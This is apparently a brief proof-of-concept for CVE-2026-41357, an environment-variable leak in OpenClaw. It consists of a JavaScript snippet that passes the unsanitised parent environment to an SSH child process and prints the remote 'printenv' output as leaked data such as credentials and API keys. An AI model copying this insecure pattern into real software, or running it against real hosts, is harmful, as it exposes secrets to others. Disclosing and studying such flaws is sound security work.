CVE-2026-41357 OpenClaw 环境变量泄露漏洞

// PoC for CVE-2026-41357: OpenClaw Environment Variable Leakage // This script demonstrates the vulnerable behavior where process.env is passed to an SSH child process. const { spawn } = require('child_process'); function simulateVulnerableSandbox(targetHost) { console.log(`[*] Attempting to connect to ${targetHost} via SSH...`); // VULNERABILITY: Passing 'process.env' directly without sanitization. // If SSH environment forwarding is enabled, sensitive variables from the parent // process (e.g., DB credentials, API keys) will be accessible in the child session. const child = spawn('ssh', [targetHost, 'printenv'], { env: process.env // The vulnerable line }); child.stdout.on('data', (data) => { console.log(`[+] Leaked Environment Data:\n${data}`); }); child.stderr.on('data', (data) => { console.error(`[!] Error: ${data}`); }); child.on('close', (code) => { console.log(`[*] Process exited with code ${code}`); }); } // Execute PoC (Requires a target where the attacker has some access and SSH forwarding is on) // simulateVulnerableSandbox('user@target-server');